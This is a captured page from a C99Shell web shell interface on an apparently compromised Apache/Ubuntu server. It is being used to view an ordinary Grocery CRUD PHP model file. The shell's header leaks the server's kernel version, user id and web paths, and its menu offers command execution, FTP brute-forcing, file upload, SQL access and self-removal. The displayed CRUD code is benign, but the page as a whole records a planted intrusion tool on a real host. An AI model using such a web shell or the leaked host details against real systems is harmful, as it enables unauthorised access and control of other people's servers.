!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache/2.4.18 (Ubuntu). PHP/7.0.33-0ubuntu0.16.04.16 

uname -a: Linux digifus 3.13.0-57-generic #95-Ubuntu SMP Fri Jun 19 09:28:15 UTC 2015 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/almazenServer/application/models/   drwxr-xr-x
Free 10.11 GB of 29.4 GB (34.38%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     grocery_crud_model.php (19.58 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * PHP grocery CRUD
 *
 * LICENSE
 *
 * Grocery CRUD is released with dual licensing, using the GPL v3 (license-gpl3.txt) and the MIT license (license-mit.txt).
 * You don't have to do anything special to choose one license or the other and you don't have to notify anyone which license you are using.
 * Please see the corresponding license file for details of these licenses.
 * You are free to use, modify and distribute this software, but all copyright information must remain.
 *
 * @package        grocery CRUD
 * @copyright      Copyright (c) 2010 through 2012, John Skoumbourdis
 * @license        https://github.com/scoumbourdis/grocery-crud/blob/master/license-grocery-crud.txt
 * @version        1.4.2
 * @author         John Skoumbourdis <scoumbourdisj@gmail.com>
 */

// ------------------------------------------------------------------------

/**
 * Grocery CRUD Model
 *
 *
 * @package        grocery CRUD
 * @author         John Skoumbourdis <scoumbourdisj@gmail.com>
 * @version        1.5.4
 * @link        http://www.grocerycrud.com/documentation
 */
class Grocery_crud_model extends CI_Model {

    protected 
$primary_key  null;
    protected 
$table_name   null;
    protected 
$relation     = array();
    protected 
$relation_n_n = array();
    protected 
$primary_keys = array();

    public function 
__construct() {
        
parent::__construct();
    }

    public function 
db_table_exists($table_name null) {
        return 
$this->db->table_exists($table_name);
    }

    public function 
get_list() {
        if (
$this->table_name === null) {
            return 
false;
        }

        
$select "`{$this->table_name}`.*";

        
//set_relation special queries
        
if (!empty($this->relation)) {
            foreach (
$this->relation as $relation) {
                list(
$field_name$related_table$related_field_title) = $relation;
                
$unique_join_name                                       $this->_unique_join_name($field_name);
                
$unique_field_name                                      $this->_unique_field_name($field_name);

                if (
strstr($related_field_title'{')) {
                    
$related_field_title str_replace(" ""&nbsp;"$related_field_title);
                    
$select .= ", CONCAT('" str_replace(array('{''}'), array("',COALESCE({$unique_join_name}."", ''),'"), str_replace("'""\\'"$related_field_title)) . "') as $unique_field_name";
                } else {
                    
$select .= ", $unique_join_name.$related_field_title AS $unique_field_name";
                }

                if (
$this->field_exists($related_field_title)) {
                    
$select .= ", `{$this->table_name}`.$related_field_title AS '{$this->table_name}.$related_field_title'";
                }

            }
        }

        
//set_relation_n_n special queries. We prefer sub queries from a simple join for the relation_n_n as it is faster and more stable on big tables.
        
if (!empty($this->relation_n_n)) {
            
$select $this->relation_n_n_queries($select);
        }

        
$this->db->select($selectfalse);

        
$results $this->db->get($this->table_name)->result();

        return 
$results;
    }

    public function 
get_row($table_name null) {
        
$table_name $table_name === null $this->table_name $table_name;

        return 
$this->db->get($table_name)->row();
    }

    public function 
set_primary_key($field_name$table_name null) {
        
$table_name $table_name === null $this->table_name $table_name;

        
$this->primary_keys[$table_name] = $field_name;
    }

    protected function 
relation_n_n_queries($select) {
        
$this_table_primary_key $this->get_primary_key();
        foreach (
$this->relation_n_n as $relation_n_n) {
            list(
$field_name$relation_table$selection_table$primary_key_alias_to_this_table,
                
$primary_key_alias_to_selection_table$title_field_selection_table$priority_field_relation_table) = array_values((array) $relation_n_n);

            
$primary_key_selection_table $this->get_primary_key($selection_table);

            
$field           "";
            
$use_template    strpos($title_field_selection_table'{') !== false;
            
$field_name_hash $this->_unique_field_name($title_field_selection_table);
            if (
$use_template) {
                
$title_field_selection_table str_replace(" ""&nbsp;"$title_field_selection_table);
                
$field .= "CONCAT('" str_replace(array('{''}'), array("',COALESCE("", ''),'"), str_replace("'""\\'"$title_field_selection_table)) . "')";
            } else {
                
$field .= "$selection_table.$title_field_selection_table";
            }

            
//Sorry Codeigniter but you cannot help me with the subquery!
            
$select .= ", (SELECT GROUP_CONCAT(DISTINCT $field) FROM $selection_table "
                
"LEFT JOIN $relation_table ON $relation_table.$primary_key_alias_to_selection_table = $selection_table.$primary_key_selection_table "
                
"WHERE $relation_table.$primary_key_alias_to_this_table = `{$this->table_name}`.$this_table_primary_key GROUP BY $relation_table.$primary_key_alias_to_this_table) AS $field_name";
        }

        return 
$select;
    }

    public function 
order_by($order_by$direction) {
        
$this->db->order_by($order_by$direction);
    }

    public function 
where($key$value NULL$escape TRUE) {
        
$this->db->where($key$value$escape);
    }

    public function 
or_where($key$value NULL$escape TRUE) {
        
$this->db->or_where($key$value$escape);
    }

    public function 
having($key$value NULL$escape TRUE) {
        
$this->db->having($key$value$escape);
    }

    public function 
or_having($key$value NULL$escape TRUE) {
        
$this->db->or_having($key$value$escape);
    }

    public function 
like($field$match ''$side 'both') {
        
$this->db->like($field$match$side);
    }

    public function 
or_like($field$match ''$side 'both') {
        
$this->db->or_like($field$match$side);
    }

    public function 
limit($value$offset '') {
        
$this->db->limit($value$offset);
    }

    public function 
get_total_results() {
        
//set_relation_n_n special queries. We prefer sub queries from a simple join for the relation_n_n as it is faster and more stable on big tables.
        
if (!empty($this->relation_n_n)) {
            
$select "{$this->table_name}.*";
            
$select $this->relation_n_n_queries($select);

            
$this->db->select($selectfalse);
        }

        return 
$this->db->get($this->table_name)->num_rows();
    }

    public function 
set_basic_table($table_name null) {
        if (!(
$this->db->table_exists($table_name))) {
            return 
false;
        }

        
$this->table_name $table_name;

        return 
true;
    }

    public function 
get_edit_values($primary_key_value) {
        
//eliminacion del problema de espacios
        
$cadena            null;
        
$cadena            str_replace("%20"" "$primary_key_value);
        
$primary_key_field $this->get_primary_key();
        
$this->db->where($primary_key_field$cadena);
        
$result $this->db->get($this->table_name)->row();
        return 
$result;
    }

    public function 
join_relation($field_name$related_table$related_field_title) {
        
$related_primary_key $this->get_primary_key($related_table);

        if (
$related_primary_key !== false) {
            
$unique_name $this->_unique_join_name($field_name);
            
$this->db->join($related_table ' as ' $unique_name"$unique_name.$related_primary_key = {$this->table_name}.$field_name"'left');

            
$this->relation[$field_name] = array($field_name$related_table$related_field_title);

            return 
true;
        }

        return 
false;
    }

    public function 
set_relation_n_n_field($field_info) {
        
$this->relation_n_n[$field_info->field_name] = $field_info;
    }

    protected function 
_unique_join_name($field_name) {
        return 
'j' substr(md5($field_name), 08); //This j is because is better for a string to begin with a letter and not with a number
    
}

    protected function 
_unique_field_name($field_name) {
        return 
's' substr(md5($field_name), 08); //This s is because is better for a string to begin with a letter and not with a number
    
}

    public function 
get_relation_array($field_name$related_table$related_field_title$where_clause$order_by$limit null$search_like null) {
        
$relation_array  = array();
        
$field_name_hash $this->_unique_field_name($field_name);

        
$related_primary_key $this->get_primary_key($related_table);

        
$select "$related_table.$related_primary_key, ";

        if (
strstr($related_field_title'{')) {
            
$related_field_title str_replace(" ""&nbsp;"$related_field_title);
            
$select .= "CONCAT('" str_replace(array('{''}'), array("',COALESCE("", ''),'"), str_replace("'""\\'"$related_field_title)) . "') as $field_name_hash";
        } else {
            
$select .= "$related_table.$related_field_title as $field_name_hash";
        }

        
$this->db->select($selectfalse);
        if (
$where_clause !== null) {
            
$this->db->where($where_clause);
        }

        if (
$where_clause !== null) {
            
$this->db->where($where_clause);
        }

        if (
$limit !== null) {
            
$this->db->limit($limit);
        }

        if (
$search_like !== null) {
            
$this->db->having("$field_name_hash LIKE '%" $this->db->escape_like_str($search_like) . "%'");
        }

        
$order_by !== null
        
$this->db->order_by($order_by)
        : 
$this->db->order_by($field_name_hash);

        
$results $this->db->get($related_table)->result();

        foreach (
$results as $row) {
            
$relation_array[$row->$related_primary_key] = $row->$field_name_hash;
        }

        return 
$relation_array;
    }

    public function 
get_ajax_relation_array($search$field_name$related_table$related_field_title$where_clause$order_by) {
        return 
$this->get_relation_array($field_name$related_table$related_field_title$where_clause$order_by10$search);
    }

    public function 
get_relation_total_rows($field_name$related_table$related_field_title$where_clause) {
        if (
$where_clause !== null) {
            
$this->db->where($where_clause);
        }

        return 
$this->db->count_all_results($related_table);
    }

    public function 
get_relation_n_n_selection_array($primary_key_value$field_info) {
        
$select              "";
        
$related_field_title $field_info->title_field_selection_table;
        
$use_template        strpos($related_field_title'{') !== false;
        
$field_name_hash     $this->_unique_field_name($related_field_title);
        if (
$use_template) {
            
$related_field_title str_replace(" ""&nbsp;"$related_field_title);
            
$select .= "CONCAT('" str_replace(array('{''}'), array("',COALESCE("", ''),'"), str_replace("'""\\'"$related_field_title)) . "') as $field_name_hash";
        } else {
            
$select .= "$related_field_title as $field_name_hash";
        }
        
$this->db->select('*, ' $selectfalse);

        
$selection_primary_key $this->get_primary_key($field_info->selection_table);

        if (empty(
$field_info->priority_field_relation_table)) {
            if (!
$use_template) {
                
$this->db->order_by("{$field_info->selection_table}.{$field_info->title_field_selection_table}");
            }
        } else {
            
$this->db->order_by("{$field_info->relation_table}.{$field_info->priority_field_relation_table}");
        }
        
$this->db->where($field_info->primary_key_alias_to_this_table$primary_key_value);
        
$this->db->join(
            
$field_info->selection_table,
            
"{$field_info->relation_table}.{$field_info->primary_key_alias_to_selection_table} = {$field_info->selection_table}.{$selection_primary_key}"
        
);
        
$results $this->db->get($field_info->relation_table)->result();

        
$results_array = array();
        foreach (
$results as $row) {
            
$results_array[$row->{$field_info->primary_key_alias_to_selection_table}] = $row->{$field_name_hash};
        }

        return 
$results_array;
    }

    public function 
get_relation_n_n_unselected_array($field_info$selected_values) {
        
$use_where_clause = !empty($field_info->where_clause);

        
$select              "";
        
$related_field_title $field_info->title_field_selection_table;
        
$use_template        strpos($related_field_title'{') !== false;
        
$field_name_hash     $this->_unique_field_name($related_field_title);

        if (
$use_template) {
            
$related_field_title str_replace(" ""&nbsp;"$related_field_title);
            
$select .= "CONCAT('" str_replace(array('{''}'), array("',COALESCE("", ''),'"), str_replace("'""\\'"$related_field_title)) . "') as $field_name_hash";
        } else {
            
$select .= "$related_field_title as $field_name_hash";
        }
        
$this->db->select('*, ' $selectfalse);

        if (
$use_where_clause) {
            
$this->db->where($field_info->where_clause);
        }

        
$selection_primary_key $this->get_primary_key($field_info->selection_table);
        if (!
$use_template) {
            
$this->db->order_by("{$field_info->selection_table}.{$field_info->title_field_selection_table}");
        }

        
$results $this->db->get($field_info->selection_table)->result();

        
$results_array = array();
        foreach (
$results as $row) {
            if (!isset(
$selected_values[$row->$selection_primary_key])) {
                
$results_array[$row->$selection_primary_key] = $row->{$field_name_hash};
            }

        }

        return 
$results_array;
    }

    public function 
db_relation_n_n_update($field_info$post_data$main_primary_key) {
        
$this->db->where($field_info->primary_key_alias_to_this_table$main_primary_key);
        if (!empty(
$post_data)) {
            
$this->db->where_not_in($field_info->primary_key_alias_to_selection_table$post_data);
        }

        
$this->db->delete($field_info->relation_table);

        
$counter 0;
        if (!empty(
$post_data)) {
            foreach (
$post_data as $primary_key_value) {
                
$where_array = array(
                    
$field_info->primary_key_alias_to_this_table      => $main_primary_key,
                    
$field_info->primary_key_alias_to_selection_table => $primary_key_value,
                );

                
$this->db->where($where_array);
                
$count $this->db->from($field_info->relation_table)->count_all_results();

                if (
$count == 0) {
                    if (!empty(
$field_info->priority_field_relation_table)) {
                        
$where_array[$field_info->priority_field_relation_table] = $counter;
                    }

                    
$this->db->insert($field_info->relation_table$where_array);

                } elseif (
$count >= && !empty($field_info->priority_field_relation_table)) {
                    
$this->db->update($field_info->relation_table, array($field_info->priority_field_relation_table => $counter), $where_array);
                }

                
$counter++;
            }
        }
    }

    public function 
db_relation_n_n_delete($field_info$main_primary_key) {
        
$this->db->where($field_info->primary_key_alias_to_this_table$main_primary_key);
        
$this->db->delete($field_info->relation_table);
    }

    public function 
get_field_types_basic_table() {
        
$db_field_types = array();
        foreach (
$this->db->query("SHOW COLUMNS FROM `{$this->table_name}`")->result() as $db_field_type) {
            
$type    explode("("$db_field_type->Type);
            
$db_type $type[0];

            if (isset(
$type[1])) {
                if (
substr($type[1], -1) == ')') {
                    
$length substr($type[1], 0, -1);
                } else {
                    list(
$length) = explode(" "$type[1]);
                    
$length       substr($length0, -1);
                }
            } else {
                
$length '';
            }
            
$db_field_types[$db_field_type->Field]['db_max_length'] = $length;
            
$db_field_types[$db_field_type->Field]['db_type']       = $db_type;
            
$db_field_types[$db_field_type->Field]['db_null']       = $db_field_type->Null == 'YES' true false;
            
$db_field_types[$db_field_type->Field]['db_extra']      = $db_field_type->Extra;
        }

        
$results $this->db->field_data($this->table_name);
        foreach (
$results as $num => $row) {
            
$row           = (array) $row;
            
$results[$num] = (object) (array_merge($row$db_field_types[$row['name']]));
        }

        return 
$results;
    }

    public function 
get_field_types($table_name) {
        
$results $this->db->field_data($table_name);

        return 
$results;
    }

    public function 
db_update($post_array$primary_key_value) {

        
//arreglo del tema espacios no estaba siendo guardado.
        
$cadena null;
        
$cadena str_replace("%20"" "$primary_key_value);

        
$primary_key_value $cadena;
        
$primary_key_field $this->get_primary_key();

        return 
$this->db->update($this->table_name$post_array, array($primary_key_field => $primary_key_value));
    }

    public function 
db_insert($post_array) {
        
$insert $this->db->insert($this->table_name$post_array);
        if (
$insert) {
            return 
$this->db->insert_id();
        }
        return 
false;
    }

    public function 
db_delete($primary_key_value) {
        
$primary_key_field $this->get_primary_key();

        if (
$primary_key_field === false) {
            return 
false;
        }

        
$this->db->limit(1);
        
$this->db->delete($this->table_name, array($primary_key_field => $primary_key_value));
        if (
$this->db->affected_rows() != 1) {
            return 
false;
        } else {
            return 
true;
        }

    }

    public function 
db_file_delete($field_name$filename) {
        if (
$this->db->update($this->table_name, array($field_name => ''), array($field_name => $filename))) {
            return 
true;
        } else {
            return 
false;
        }
    }

    public function 
field_exists($field$table_name null) {
        if (empty(
$table_name)) {
            
$table_name $this->table_name;
        }
        return 
$this->db->field_exists($field$table_name);
    }

    public function 
get_primary_key($table_name null) {
        if (
$table_name == null) {
            if (isset(
$this->primary_keys[$this->table_name])) {
                return 
$this->primary_keys[$this->table_name];
            }

            if (empty(
$this->primary_key)) {
                
$fields $this->get_field_types_basic_table();

                foreach (
$fields as $field) {
                    if (
$field->primary_key == 1) {
                        return 
$field->name;
                    }
                }

                return 
false;
            } else {
                return 
$this->primary_key;
            }
        } else {
            if (isset(
$this->primary_keys[$table_name])) {
                return 
$this->primary_keys[$table_name];
            }

            
$fields $this->get_field_types($table_name);

            foreach (
$fields as $field) {
                if (
$field->primary_key == 1) {
                    return 
$field->name;
                }
            }

            return 
false;
        }

    }

    public function 
escape_str($value) {
        return 
$this->db->escape_str($value);
    }

}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0093 ]--